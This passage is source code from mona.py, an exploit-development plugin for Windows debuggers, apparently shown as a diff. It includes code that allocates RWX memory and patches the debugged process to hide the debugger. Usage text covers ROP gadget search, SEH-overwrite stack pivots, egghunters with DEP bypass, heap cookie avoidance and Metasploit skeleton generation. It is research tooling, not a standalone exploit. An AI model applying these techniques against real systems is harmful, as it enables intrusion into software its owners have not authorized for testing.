branchstarts[curloc][0] + srplist = branchstarts[curloc][1] + currcalllevel = branchstarts[curloc][2] + while instrcnt < maxinstr: + beforeloc = prevloc + prevloc = curloc + try: + thisopcode = dbg.disasm(curloc) + instruction = getDisasmInstruction(thisopcode) + instructionbytes = thisopcode.getBytes() + instructionsize = thisopcode.opsize + opupper = instruction.upper() + if opupper.startswith("RET"): + if currcalllevel > 0: + currcalllevel -= 1 + if len(srplist) > 0: + newloc = srplist.pop(0) + rellist[curloc] = [newloc] + curloc = newloc + else: + break + elif opupper.startswith("JMP"): + if "(" in opupper and ")" in opupper: + ipartsa = opupper.split(")") + ipartsb = ipartsa[0].split("(") + if len(ipartsb) > 0: + jmptarget = ipartsb[1] + if isAddress(jmptarget): + newloc = hexStrToInt(jmptarget) + rellist[curloc] = [newloc] + curloc = newloc + elif opupper.startswith("J"): + if "(" in opupper and ")" in opupper: + ipartsa = opupper.split(")") + ipartsb = ipartsa[0].split("(") + if len(ipartsb) > 0: + jmptarget = ipartsb[1] + if isAddress(jmptarget): + newloc = hexStrToInt(jmptarget) + if not newloc in curlocs: + curlocs.append(newloc) + branchstarts[newloc] = [instrcnt,srplist,currcalllevel] + newloc2 = prevloc + instructionsize + rellist[curloc] = [newloc,newloc2] + curloc = newloc2 + #dbg.log(" Added 0x%08x as alternative branch start" % newloc) + elif opupper.startswith("CALL"): + + if ("(" in opupper and ")" in opupper) and currcalllevel < maxcalllevel and callcnt > callskip: + ipartsa = opupper.split(")") + ipartsb = ipartsa[0].split("(") + if len(ipartsb) > 0: + jmptarget = ipartsb[1] + if isAddress(jmptarget): + newloc = hexStrToInt(jmptarget) + rellist[curloc] = [newloc] + curloc = newloc + newretptr = prevloc + instructionsize + srplist.insert(0,newretptr) + currcalllevel += 1 + else: + # don't show the function details, simply continue after the call + newloc = curloc+instructionsize + rellist[curloc] = [newloc] + curloc = newloc + callcnt += 1 + else: + curloc += instructionsize + rellist[prevloc] = [curloc] + except: + #dbg.log("Unable to disasm at 0x%08x, past: 0x%08x" % (curloc,beforeloc)) + if not beforeloc in endlist: + endlist.append(beforeloc) + instrcnt = maxinstr + break + #dbg.log("%d 0x%08x : %s -> 0x%08x" % (instrcnt,prevloc,instruction,curloc)) + instrcnt += 1 + if not curloc in endlist: + endlist.append(curloc) + + dbg.log("[+] Found total of %d possible flows" % len(endlist)) + + if eaddy > 0: + if eaddy in rellist: + endlist = [eaddy] + dbg.log("[+] Limit flows to cases that contain 0x%08x" % eaddy) + else: + dbg.log(" ** Unable to reach 0x%08x ** " % eaddy) + dbg.log(" Try increasing max nr of instructions with parameter -n") + return + + filename = "flows.txt" + logfile = MnLog(filename) + thislog = logfile.reset() + + dbg.log("[+] Processing %d endings" % len(endlist)) + endingcnt = 1 + processedresults = [] + for endaddy in endlist: + dbg.log("[+] Creating all paths between 0x%08x and 0x%08x" % (addy,endaddy)) + allpaths = findAllPaths(rellist,addy,endaddy) + if len(allpaths) == 0: + #dbg.log(" *** No paths from 0x%08x to 0x%08x *** " % (addy,endaddy)) + continue + + dbg.log("[+] Ending: 0x%08x (%d/%d), %d paths" % (endaddy,endingcnt,len(endlist), len(allpaths))) + endingcnt += 1 + + for p in allpaths: + if p in processedresults: + dbg.log(" > Skipping duplicate path from 0x%08x to 0x%08x" % (addy,endaddy)) + else: + processedresults.append(p) + skipthislist = False + logl = "Path from 0x%08x to 0x%08x (%d instructions) :" % (addy,endaddy,len(p)) + if len(avoidlist) > 0: + for a in avoidlist: + if a in p: + dbg.log(" > Skipping path, contains 0x%08x (which should be avoided)"%a) + skipthislist = True + break + if not skipthislist: + logfile.write("\n",thislog) + logfile.write(logl,thislog) + logfile.write("-" * len(logl),thislog) + dbg.log(" > Simulating path from 0x%08x to 0x%08x (%d instructions)" % (addy,endaddy,len(p))) + cregsb = [] + for c in cregs: + cregsb.append(c) + cregscb = [] + for c in cregsc: + cregscb.append(c) + + prevfname = "" + fname = "" + foffset = "" + previnstruction = "" + for thisaddy in p: + if showfuncposition: + if previnstruction == "" or previnstruction.startswith("RET") or previnstruction.startswith("J") or previnstruction.startswith("CALL"): + if not thisaddy in funcnamecache: + fname,foffset = getFunctionName(thisaddy) + funcnamecache[thisaddy] = [fname,foffset] + else: + fname = funcnamecache[thisaddy][0] + foffset = funcnamecache[thisaddy][1] + if fname != prevfname: + prevfname = fname + locname = fname + if foffset != "": + locname += "+%s" % foffset + logfile.write("#--- %s ---" % locname,thislog) + #dbg.log("%s" % locname) + + thisopcode = dbg.disasm(thisaddy) + instruction = getDisasmInstruction(thisopcode) + previnstruction = instruction + clist = [] + clistc = [] + for c in cregsb: + combins = [] + combins.append(" %s" % c) + combins.append("[%s" % c) + combins.append(",%s" % c) + combins.append("%s]" % c) + combins.append("%s-" % c) + combins.append("%s+" % c) + combins.append("-%s" % c) + combins.append("+%s" % c) + for comb in combins: + if comb in instruction and not c in clist: + clist.append(c) + + for c in cregscb: + combins = [] + combins.append(" %s" % c) + combins.append("[%s" % c) + combins.append(",%s" % c) + combins.append("%s]" % c) + combins.append("%s-" % c) + combins.append("%s+" % c) + combins.append("-%s" % c) + combins.append("+%s" % c) + for comb in combins: + if comb in instruction and not c in clistc: + clistc.append(c) + + rsrc,rdst = getSourceDest(instruction) + + csource = False + cdest = False + + if rsrc in cregsb or rsrc in cregscb: + csource = True + if rdst in cregsb or rdst in cregscb: + cdest = True + + destructregs = ["MOV","XOR","OR"] + writeregs = ["INC","DEC","AND"] + + + ocregsb = copy.copy(cregsb) + + if not instruction.startswith("TEST") and not instruction.startswith("CMP"): + for d in destructregs: + if instruction.startswith(d): + sourcefound = False + sourcereg = "" + destfound = False + destreg = "" + + for s in clist: + for sr in rsrc: + if s in sr and not sourcefound: + sourcefound = True + sourcereg = s + for sr in rdst: + if s in sr and not destfound: + destfound = True + destreg = s + + if sourcefound and destfound: + if not destreg in cregsb: + cregsb.append(destreg) + if destfound and not sourcefound: + sregs = getSmallerRegs(destreg) + if destreg in cregsb: + cregsb.remove(destreg) + for s in sregs: + if s in cregsb: + cregsb.remove(s) + break + #else: + #dbg.log(" Control: %s" % ocregsb) + + + logfile.write("0x%08x : %s" % (thisaddy,instruction),thislog) + + #if len(cregs) > 0 or len(cregsb) > 0: + # if cmp(ocregsb,cregsb) == -1: + # dbg.log(" Before: %s" % ocregsb) + # dbg.log(" After : %s" % cregsb) + return + + + def procChangeACL(args): + size = 1 + addy = 0 + acl = "" + addyerror = False + aclerror = False + if "a" in args: + if type(args["a"]).__name__.lower() != "bool": + addy,addyok = getAddyArg(args["a"]) + if not addyok: + addyerror = True + if "acl" in args: + if type(args["acl"]).__name__.lower() != "bool": + if args["acl"].upper() in memProtConstants: + acl = args["acl"].upper() + else: + aclerror = True + else: + aclerror = True + + if addyerror: + dbg.log(" *** Please specify a valid address to argument -a ***") + + if aclerror: + dbg.log(" *** Please specify a valid memory protection constant with -acl ***") + dbg.log(" *** Valid values are :") + for acltype in memProtConstants: + dbg.log(" %s (%s = 0x%02x)" % (toSize(acltype,10),memProtConstants[acltype][0],memProtConstants[acltype][1])) + + if not addyerror and not aclerror: + pageacl = memProtConstants[acl][1] + pageaclname = memProtConstants[acl][0] + dbg.log("[+] Current ACL: %s" % getPointerAccess(addy)) + dbg.log("[+] Desired ACL: %s (0x%02x)" % (pageaclname,pageacl)) + retval = dbg.rVirtualAlloc(addy,1,0x1000,pageacl) + return + + + def procToBp(args): + """ + Generate WinDBG syntax to create a logging breakpoint on a given location + """ + addy = 0 + addyerror = False + executenow = False + locsyntax = "" + regsyntax = "" + poisyntax = "" + dmpsyntax = "" + instructionparts = [] + global silent + oldsilent = silent + regs = dbg.getRegs() + silent = True + if "a" in args: + if type(args["a"]).__name__.lower() != "bool": + addy,addyok = getAddyArg(args["a"]) + if not addyok: + addyerror = True + else: + addy = regs["EIP"] + + if "e" in args: + executenow = True + + if addyerror: + dbg.log(" *** Please provide a valid address with argument -a ***",highlight=1) + return + + # get RVA for addy (or absolute address if addy is not part of a module) + bpdest = "0x%08x" % addy + instruction = "" + ptrx = MnPointer(addy) + modname = ptrx.belongsTo() + if not modname == "": + mod = MnModule(modname) + m = mod.moduleBase + rva = addy - m + bpdest = "%s+0x%02x" % (modname,rva) + thisopcode = dbg.disasm(addy) + instruction = getDisasmInstruction(thisopcode) + + locsyntax = "bp %s" % bpdest + + instructionparts = multiSplit(instruction,[" ",","]) + + usedregs = [] + + for reg in regs: + for ipart in instructionparts: + if reg.upper() in ipart.upper(): + usedregs.append(reg) + + if len(usedregs) > 0: + regsyntax = '.printf \\"' + argsyntax = "" + + for ipart in instructionparts: + for reg in regs: + if reg.upper() in ipart.upper(): + + if "[" in ipart: + regsyntax += ipart.replace("[","").replace("]","") + regsyntax += ": 0x%08x, " + + argsyntax += "%s," % ipart.replace("[","").replace("]","") + + regsyntax += ipart + regsyntax += ": 0x%08x, " + + argsyntax += "%s," % ipart.replace("[","poi(").replace("]",")") + + iparttxt = ipart.replace("[","").replace("]","") + dmpsyntax += ".echo;.echo %s:;dds %s L 0x24/4;" % (iparttxt,iparttxt) + else: + regsyntax += ipart + regsyntax += ": 0x%08x, " + argsyntax += "%s," % ipart + argsyntax = argsyntax.strip(",") + regsyntax = regsyntax.strip(", ") + regsyntax += '\\",%s;' % argsyntax + + if "CALL" in instruction.upper(): + dmpsyntax += '.echo;.printf \\"Stack (esp: 0x%08x):\\",esp;.echo;dds esp L 0x4;' + + if instruction.upper().startswith("RET"): + dmpsyntax += '.echo;.printf \\"EAX: 0x%08x, Ret To: 0x%08x, Arg1: 0x%08x, Arg2: 0x%08x, Arg3: 0x%08x, Arg4: 0x%08x\\",eax,poi(esp),poi(esp+4),poi(esp+8),poi(esp+c),poi(esp+10);' + + bpsyntax = locsyntax + ' ".echo ---------------;u eip L 1;' + regsyntax + dmpsyntax + ".echo;g" + '"' + filename = "logbps.txt" + logfile = MnLog(filename) + thislog = logfile.reset(False,False) + with open(thislog, "a") as fh: + fh.write(bpsyntax + "\n") + silent = oldsilent + dbg.log("%s" % bpsyntax) + dbg.log("Updated %s" % thislog) + if executenow: + dbg.nativeCommand(bpsyntax) + dbg.log("> Breakpoint set at 0x%08x" % addy) + return + + + def procAllocMem(args): + size = 0x1000 + addy = 0 + sizeerror = False + addyerror = False + byteerror = False + fillup = False + writemore = False + fillbyte = "A" + acl = "RWX" + + if "s" in args: + if type(args["s"]).__name__.lower() != "bool": + sval = args["s"] + if sval.lower().startswith("0x"): + try: + size = int(sval,16) + except: + sizeerror = True + else: + try: + size = int(sval) + except: + sizeerror = True + else: + sizeerror = True + + if "b" in args: + if type(args["b"]).__name__.lower() != "bool": + try: + fillbyte = hex2bin(args["b"])[0] + except: + dbg.log(" *** Invalid byte specified with -b ***") + byteerror = True + + if size < 0x1: + sizeerror = True + dbg.log(" *** Minimum size is 0x1 bytes ***",highlight=1) + + if "a" in args: + if type(args["a"]).__name__.lower() != "bool": + addy,addyok = getAddyArg(args["a"]) + if not addyok: + addyerror = True + + if "fill" in args: + fillup = True + if "force" in args: + writemore = True + + aclerror = False + if "acl" in args: + if type(args["acl"]).__name__.lower() != "bool": + if args["acl"].upper() in memProtConstants: + acl = args["acl"].upper() + else: + aclerror = True + dbg.log(" *** Please specify a valid memory protection constant with -acl ***") + dbg.log(" *** Valid values are :") + for acltype in memProtConstants: + dbg.log(" %s (%s = 0x%02x)" % (toSize(acltype,10),memProtConstants[acltype][0],memProtConstants[acltype][1])) + + if addyerror: + dbg.log(" *** Please specify a valid address with -a ***",highlight=1) + + if sizeerror: + dbg.log(" *** Please specify a valid size with -s ***",highlight = 1) + + if not addyerror and not sizeerror and not byteerror and not aclerror: + dbg.log("[+] Requested allocation size: 0x%08x (%d) bytes" % (size,size)) + if addy > 0: + dbg.log("[+] Desired target location : 0x%08x" % addy) + pageacl = memProtConstants[acl][1] + pageaclname = memProtConstants[acl][0] + if addy > 0: + dbg.log(" Current page ACL: %s" % getPointerAccess(addy)) + dbg.log(" Desired page ACL: %s (0x%02x)" % (pageaclname,pageacl)) + VIRTUAL_MEM = ( 0x1000 | 0x2000 ) + allocat = dbg.rVirtualAlloc(addy,size,0x1000,pageacl) + if addy == 0 and allocat > 0: + retval = dbg.rVirtualProtect(allocat,1,pageacl) + else: + retval = dbg.rVirtualProtect(addy,1,pageacl) + + dbg.log("[+] Allocated memory at 0x%08x" % allocat) + #if allocat > 0: + # dbg.log(" ACL 0x%08x: %s" % (allocat,getPointerAccess(allocat))) + #else: + # dbg.log(" ACL 0x%08x: %s" % (addy,getPointerAccess(addy))) + + if allocat == 0 and fillup and not writemore: + dbg.log("[+] It looks like the page was already mapped. Use the -force argument") + dbg.log(" to make me write to 0x%08x anyway" % addy) + if (allocat > 0 and fillup) or (writemore and fillup): + loc = 0 + written = 0 + towrite = size + while loc < towrite: + try: + dbg.writeMemory(addy+loc,fillbyte) + written += 1 + except: + pass + loc += 1 + dbg.log("[+] Wrote %d times \\x%s to chunk at 0x%08x" % (written,bin2hex(fillbyte),addy)) + return + + + def procHideDebug(args): + peb = dbg.getPEBAddress() + dbg.log("[+] Patching PEB (0x%08x)" % peb) + if peb == 0: + dbg.log("** Unable to find PEB **") + return + + isdebugged = struct.unpack(' 0x%x" % (isdebugged,0)) + dbg.writeMemory(peb + 0x02, '\x00') + + dbg.log(" Patching PEB.ProcessHeap.Flag : 0x%x -> 0x%x" % (processheapvalue,0)) + dbg.writeLong(processheapflag,0) + + dbg.log(" Patching PEB.NtGlobalFlag : 0x%x -> 0x%x" % (ntglobalflag,0)) + dbg.writeLong(peb + 0x68, 0) + + dbg.log(" Patching PEB.LDR_DATA Fill pattern") + a = dbg.readLong(peb + 0xc) + while a != 0: + a += 1 + try: + b = dbg.readLong(a) + c = dbg.readLong(a + 4) + if (b == 0xFEEEFEEE) and (c == 0xFEEEFEEE): + dbg.writeLong(a,0) + dbg.writeLong(a + 4,0) + a += 7 + except: + break + + uef = dbg.getAddress("kernel32.UnhandledExceptionFilter") + if uef > 0: + dbg.log("[+] Patching kernel32.UnhandledExceptionFilter (0x%08x)" % uef) + uef += 0x86 + dbg.writeMemory(uef, dbg.assemble(" \ + PUSH EDI \ + ")) + else: + dbg.log("[-] Failed to hook kernel32.UnhandledExceptionFilter (0x%08x)") + + remdebpres = dbg.getAddress("kernel32.CheckRemoteDebuggerPresent") + if remdebpres > 0: + dbg.log("[+] Patching CheckRemoteDebuggerPresent (0x%08x)" % remdebpres) + dbg.writeMemory( remdebpres, dbg.assemble( " \ + MOV EDI, EDI \n \ + PUSH EBP \n \ + MOV EBP, ESP \n \ + MOV EAX, [EBP + C] \n \ + PUSH 0 \n \ + POP [EAX] \n \ + XOR EAX, EAX \n \ + POP EBP \n \ + RET 8 \ + " ) ) + else: + dbg.log("[-] Unable to patch CheckRemoteDebuggerPresent") + + gtc = dbg.getAddress("kernel32.GetTickCount") + if gtc > 0: + dbg.log("[+] Patching GetTickCount (0x%08x)" % gtc) + patch = dbg.assemble("MOV EDX, 0x7FFE0000") + Poly_ReturnDW(0x0BADF00D) + dbg.assemble("Ret") + while len(patch) > 0x0F: + patch = dbg.assemble("MOV EDX, 0x7FFE0000") + Poly_ReturnDW(0x0BADF00D) + dbg.assemble("Ret") + dbg.writeMemory( gtc, patch ) + else: + dbg.log("[-] Unable to pach GetTickCount") + + zwq = dbg.getAddress("ntdll.ZwQuerySystemInformation") + if zwq > 0: + dbg.log("[+] Patching ZwQuerySystemInformation (0x%08x)" % zwq) + isPatched = False + a = 0 + s = 0 + while a < 3: + a += 1 + s += dbg.disasmSizeOnly(zwq + s).opsize + FakeCode = dbg.readMemory(zwq, 1) + "\x78\x56\x34\x12" + dbg.readMemory(zwq + 5, 1) + if FakeCode == dbg.assemble("PUSH 0x12345678\nRET"): + isPatched = True + a = dbg.readLong(zwq+1) + i = 0 + s = 0 + while i < 3: + i += 1 + s += dbg.disasmSizeOnly(a+s).opsize + + if isPatched: + dbg.log(" Function was already patched.") + else: + a = dbg.remoteVirtualAlloc(size=0x1000) + if a > 0: + dbg.log(" Writing instructions to 0x%08x" % a) + dbg.writeMemory(a, dbg.readMemory(zwq,s)) + pushCode = dbg.assemble("PUSH 0x%08x" % (zwq + s)) + patchCode = "\x83\x7c\x24\x08\x07" # CMP [ESP+8],7 + patchCode += "\x74\x06" + patchCode += pushCode + patchCode += "\xC3" # RETN + patchCode += "\x8B\x44\x24\x0c" # MOV EAX,[ESP+0x0c] + patchCode += "\x6a\x00" # PUSH 0 + patchCode += "\x8f\x00" # POP [EAX] + patchCode += "\x33\xC0" # XOR EAX,EAX + patchCode += "\xC2\x14\x00" # RETN 14 + dbg.writeMemory( a + s, patchCode) + # redirect function + dbg.writeMemory( zwq, dbg.assemble( "PUSH 0x%08X\nRET" % a) ) + + else: + dbg.log(" ** Unable to allocate memory in target process **") + + else: + dbg.log("[-] Unable to patch ZwQuerySystemInformation") + + return + + + # ----- Finally, some main stuff ----- # + + # All available commands and their Usage : + + sehUsage = """Default module criteria : non safeseh, non aslr, non rebase +This function will retrieve all stackpivot pointers that will bring you back to nseh in a seh overwrite exploit +Optional argument: + -all : also search outside of loaded modules""" + + configUsage = """Change config of mona.py +Available options are : -get , -set or -add +Valid parameters are : workingfolder, excluded_modules, author""" + + jmpUsage = """Default module criteria : non aslr, non rebase +Mandatory argument : -r where reg is a valid register""" + + ropfuncUsage = """Default module criteria : non aslr, non rebase, non os +Output will be written to ropfunc.txt""" + + modulesUsage = """Shows information about the loaded modules""" + + ropUsage="""Default module criteria : non aslr,non rebase,non os +Optional parameters : + -offset : define the maximum offset for RET instructions (integer, default : 40) + -distance : define the minimum distance for stackpivots (integer, default : 8). + If you want to specify a min and max distance, set the value to min,max + -depth : define the maximum nr of instructions (not ending instruction) in each gadget (integer, default : 6) + -split : write gadgets to individual files, grouped by the module the gadget belongs to + -fast : skip the 'non-interesting' gadgets + -end : specify one or more instructions that will be used as chain end. + (Separate instructions with #). Default ending is RETN + -f \"file1,file2,..filen\" : use mona generated rop files as input instead of searching in memory + -rva : use RVA's in rop chain + -sort : sort the output in rop.txt (sort on pointer value)""" + + jopUsage="""Default module criteria : non aslr,non rebase,non os +Optional parameters : + -depth : define the maximum nr of instructions (not ending instruction) in each gadget (integer, default : 8)""" + + + stackpivotUsage="""Default module criteria : non aslr,non rebase,non os +Optional parameters : + -offset : define the maximum offset for RET instructions (integer, default : 40) + -distance : define the minimum distance for stackpivots (integer, default : 8) + If you want to specify a min and max distance, set the value to min,max + -depth : define the maximum nr of instructions (not ending instruction) in each gadget (integer, default : 6)""" + + filecompareUsage="""Compares 2 or more files created by mona using the same output commands +Make sure to use files that are created with the same version of mona and +contain the output of the same mona command. +Mandatory argument : -f \"file1,file2,...filen\" +Put all filenames between one set of double quotes, and separate files with comma's. +You can specify a foldername as well with -f, all files in the root of that folder will be part of the compare. +Output will be written to filecompare.txt and filecompare_not.txt (not matching pointers) +Optional parameters : + -contains \"INSTRUCTION\" (will only list if instruction is found) + -nostrict (will also list pointer is instructions don't match in all files) + -range : find overlapping ranges for all pointers + range. + When using -range, the -contains and -nostrict options will be ignored + -ptronly : only show matching pointers (slightly faster). Doesn't work when 'range' is used""" + + patcreateUsage="""Create a cyclic pattern of a given size. Output will be written to pattern.txt +in ascii, hex and unescape() javascript format +Mandatory argument : size (numberic value) +Optional arguments : + -extended : extend the 3rd characterset (numbers) with punctuation marks etc + -c1 : set the first charset to this string of characters + -c2 : set the second charset to this string of characters + -c3 : set the third charset to this string of characters""" + + patoffsetUsage="""Find the location of 4 bytes in a cyclic pattern +Mandatory argument : the 4 bytes to look for +Note : you can also specify a register +Optional arguments : + -extended : extend the 3rd characterset (numbers) with punctuation marks etc + -c1 : set the first charset to this string of characters + -c2 : set the second charset to this string of characters + -c3 : set the third charset to this string of characters +Note : the charset must match the charset that was used to create the pattern ! +""" + + findwildUsage = """Find instructions in memory, accepts wildcards : +Mandatory arguments : + -s (separate instructions with #) +Optional arguments : + -b
: base/bottom address of the search range + -t
: top address of the search range + -depth : number of instructions to go deep + -all : show all instruction chains, even if it contains something that might break the chain + -distance min=nr,max=nr : you can use a numeric offset wildcard (a single *) in the first instruction of the search + the distance parameter allows you to specify the range of the offset +Inside the instructions string, you can use the following wildcards : + * = any instruction + r32 = any register +Example : pop r32#*#xor eax,eax#*#pop esi#ret + """ + + + findUsage= """Find a sequence of bytes in memory. +Mandatory argument : -s : the sequence to search for. If you specified type 'file', then use -s to specify the file. +This file needs to be a file created with mona.py, containing pointers at the begin of each line. +Optional arguments: + -type : Type of pattern to search for : bin,asc,ptr,instr,file + -b
: base/bottom address of the search range + -t
: top address of the search range + -c : skip consecutive pointers but show length of the pattern instead + -p2p : show pointers to pointers to the pattern (might take a while !) + this setting equals setting -level to 1 + -level : do recursive (p2p) searches, specify number of levels deep + if you want to look for pointers to pointers, set level to 1 + -offset : subtract a value from a pointer at a certain level + -offsetlevel : level to subtract a value from a pointer + -r : if p2p is used, you can tell the find to also find close pointers by specifying -r with a value. + This value indicates the number of bytes to step backwards for each search + -unicode : used in conjunction with search type asc, this will convert the search pattern to unicode first + -ptronly : Only show the pointers, skip showing info about the pointer (slightly faster)""" + + assembleUsage = """Convert instructions to opcode. Separate multiple instructions with #. +Mandatory argument : -s : the sequence of instructions to assemble to opcode""" + + infoUsage = """Show information about a given address in the context of the loaded application +Mandatory argument : -a
: the address to query""" + + dumpUsage = """Dump the specified memory range to a file. Either the end address or the size of +buffer needs to be specified. +Mandatory arguments : + -s
: start address + -f : the name of the file where to write the bytes +Optional arguments: + -n : the number of bytes to copy (size of the buffer) + -e
: the end address of the copy""" + + compareUsage = """Compares contents of a binary file with locations in memory. +Mandatory argument : + -f : full path to binary file +Optional argument : + -a
: the exact address of the bytes in memory (address or register). + If you don't specify an address, I will try to locate the bytes in memory + by looking at the first 8 bytes. + -s : skip locations that belong to a module + -unicode : perform unicode search. Note: input should *not* be unicode, it will be expanded automatically""" + + offsetUsage = """Calculate the number of bytes between two addresses. You can use +registers instead of addresses. +Mandatory arguments : + -a1
: the first address/register + -a2
: the second address/register""" + + bpUsage = """Set a breakpoint when a given address is read from, written to or executed +Mandatory arguments : + -a
: the address where to set the breakpoint + (absolute address / register / modulename!functionname) + -t : type of the breakpoint, can be READ, WRITE or SFX""" + + bfUsage = """Set a breakpoint on exported or imported function(s) of the selected modules. +Mandatory argument : + -t : type of breakpoint action. Can be 'add', 'del' or 'list' +Optional arguments : + -f : set to 'import' or 'export' to read IAT or EAT. Default : export + -s : specify function names. + If you want a bp on all functions, set -s to *""" + + nosafesehUsage = """Show modules that are not safeseh protected""" + nosafesehaslrUsage = """Show modules that are not safeseh protected, not subject to ASLR, and won't get rebased either""" + noaslrUsage = """Show modules that are not subject to ASLR and won't get rebased""" + findmspUsage = """Finds begin of a cyclic pattern in memory, looks if one of the registers contains (is overwritten) with a cyclic pattern +or points into a cyclic pattern. findmsp will also look if a SEH record is overwritten and finally, +it will look for cyclic patterns on the stack, and pointers to cyclic pattern on the stack. +Optional argument : + -distance : distance from ESP, applies to search on the stack. Default : search entire stack +Note : you can use the same options as with pattern_create and pattern_offset in terms of defining the character set to use""" + + suggestUsage = """Suggests an exploit buffer structure based on pointers to a cyclic pattern +Note : you can use the same options as with pattern_create and pattern_offset in terms of defining the character set to use +Mandatory argument in case you are using WinDBG: + -t : skeletontype. Valid types are : + tcpclient:port, udpclient:port, fileformat:extension + Examples : -t tcpclient:21 + -t fileformat:pdf""" + + bytearrayUsage = """Creates a byte array, can be used to find bad characters +Optional arguments : + -cpb : bytes to exclude from the array. Example : '\\x00\\x0a\\x0d' + Note: you can specify wildcards using .. + Example: '\\x00\\x0a..\\x20\\x32\\x7f..\\xff' + -r : show array backwards (reversed), starting at \\xff + Output will be written to bytearray.txt, and binary output will be written to bytearray.bin""" + + headerUsage = """Convert contents of a binary file to code that can be run to produce the file +Mandatory argument : + -f : source filename +Optional argument: + -t : specify type of output. Valid choices are 'ruby' (default) or 'python' """ + + updateUsage = """Update mona to the latest version""" + getpcUsage = """Find getpc routine for specific register +Mandatory argument : + -r : register (ex: eax)""" + + eggUsage = """Creates an egghunter routine +Optional arguments : + -t : tag (ex: w00t). Default value is w00t + -c : enable checksum routine. Only works in conjunction with parameter -f + -f : file containing the shellcode + -startreg : start searching at the address pointed by this reg + -wow64 : generate wow64 egghunter. Default is traditional 32bit egghunter +DEP Bypass options : + -depmethod : method can be "virtualprotect", "copy" or "copy_size" + -depreg : sets the register that contains a pointer to the API function to bypass DEP. + By default this register is set to ESI + -depsize : sets the size for the dep bypass routine + -depdest : this register points to the location of the egghunter itself. + When bypassing DEP, the egghunter is already marked as executable. + So when using the copy or copy_size methods, the DEP bypass in the egghunter + would do a "copy 2 self". In order to be able to do so, it needs a register + where it can copy the shellcode to. + If you leave this empty, the code will contain a GetPC routine.""" + + stacksUsage = """Shows all stacks for each thread in the running application""" + + skeletonUsage = """Creates a Metasploit exploit module skeleton for a specific type of exploit +Mandatory argument in case you are using WinDBG: + -t : skeletontype. Valid types are : + tcpclient:port, udpclient:port, fileformat:extension + Examples : -t tcpclient:21 + -t fileformat:pdf +Optional arguments : + -s : size of the cyclic pattern (default : 5000) +""" + + heapUsage = """Show information about various heap chunk lists +Mandatory arguments : + -h
: base address of the heap to query + -t : where type is 'segments', 'chunks', 'layout', + 'fea' (let mona determine the frontend allocator), + 'lal' (force display of LAL FEA, only on XP/2003), + 'lfh' (force display of LFH FEA (Vista/Win7/...)), + 'bea' (backend allocator, mona will automatically determine what it is), + 'all' (show all information) + Note: 'layout' will show all heap chunks and their vtables & strings. Use on WinDBG for maximum results. +Optional arguments : + -expand : Works only in combination with 'layout', will include VA/LFH/... chunks in the search. + VA/LFH chunks may be very big, so this might slow down the search. + -stat : show statistics (also works in combination with -h heap, -t segments or -t chunks + -size : only show strings of at least the specified size. Works in combination with 'layout' + -after : only show current & next chunk layout entries when an entry contains this data + (Only works in combination with 'layout') + -v : show data / write verbose info to the Log window""" + + getiatUsage = """Show IAT entries from selected module(s) +Optional arguments : + -s : only show IAT entries that contain one of these keywords""" + + geteatUsage = """Show EAT entries from selected module(s) +Optional arguments : + -s : only show EAT entries that contain one of these keywords""" + + deferUsage = """Set a deferred breakpoint +Mandatory arguments : + -a ,,... + target can be an address, a modulename.functionname or module.dll+offset (hex value) + Warning, modulename.functionname is case sensitive ! + """ + + calltraceUsage = """Logs all CALL instructions +Mandatory arguments : + -m module : specify what module to search for CALL instructions (global option) +Optional arguments : + -a : number of arguments to show for each CALL + -r : also trace RETN instructions (will slow down process!)""" + + fillchunkUsage = """Fills a heap chunk, referenced by a register, with A's (or another character) +Mandatory arguments : + -r : reference to heap chunk to fill +Optional arguments : + -b + -s : if the referenced chunk is not found, and a size is defined with -s, + memory will be filled anyway, up to the specified size""" + + getpageACLUsage = """List all mapped pages and show the ACL associated with each page +Optional arguments : + -a
: only show page information around this address. + (Page before, current page and page after will be displayed)""" + + bpsehUsage = """Sets a breakpoint on all current SEH Handler function pointers""" + + kbUsage = """Manage knowledgebase data +Mandatory arguments: + - : type can be 'list', 'set' or 'del' + To 'set' ( = add / update ) a KB entry, or 'del' an entry, + you will need to specify 2 additional arguments: + -id : the Knowledgebase ID + -value : the value to add/update. In case of lists, use a comma to separate entries. + The -list parameter will show all current ID's + To see the contents of a specific ID, use the -id parameter.""" + + macroUsage = """Manage macros for WinDBG +Arguments: + -run : run the commands defined in the specified macro + -show : show all commands defined in the specified macro + -add : create a new macro + -set -index -cmd : edit a macro + If you set the -command value to #, the command at the specified index + will be removed. If you have specified an existing index, the command + at that position will be replaced, unless you've also specified the -insert parameter. + If you have not specified an index, the command will be appended to he list. + -set -file : will tell this macro to execute all instructions in the + specified file. You can only enter one file per macro. + -del -iamsure: remove the specified macro. Use with care, I won't ask if you're sure.""" + + sehchainUsage = """Displays the SEH chain for the current thread. +This command will also attempt to display offsets and suggest a payload structure +in case a cyclic pattern was used to overwrite the chain.""" + + heapCookieUsage = """Will attempt to find reliable writeable pointers that can help avoiding +a heap cookie check during an arbitrary free on Windows XP""" + + hidedebugUsage = """Will attempt to hide the debugger from the process""" + gflagsUsage = """Will show the currently set GFlags, based on the PEB.NtGlobalFlag value""" + fwptrUsage = """Search for calls to pointers in a writeable location, +will assist with finding a good target for 4byte arbitrary writes +Optional arguments: + -bp : Set breakpoints on all found CALL instructions + -patch : Patch the target of each CALL with 0x41414141 + -chunksize : only list the pointer if location-8 bytes contains a size value larger than + (size in blocks, not bytes) + -offset : add bytes of offset within chunk, after flink/blink pointer + (use in combination with -freelist and -chunksize ) + -freelist : Search for fwptr that are preceeded by 2 readable pointers that can act as flink/blink""" + + allocmemUsage = """Allocate RWX memory in the debugged process. +Optional arguments: + -s : desired size of allocated chunk. VirtualAlloc will allocate at least 0x1000 bytes, + but this size argument is only useful when used in combination with -fill. + -a
: desired target location for allocation, set to start of chunk to allocate. + -acl : overrule default RWX memory protection. + -fill : fill 'size' bytes (-s) of memory at specified address (-a) with A's. + -force : use in combination with -fill, in case page was already mapped but you still want to + fill the chunk at the desired location. + -b : Specify what byte to write to the desired location. Defaults to '\\x41' +""" + + changeaclUsage = """Change the ACL of a given page. +Arguments: + -a
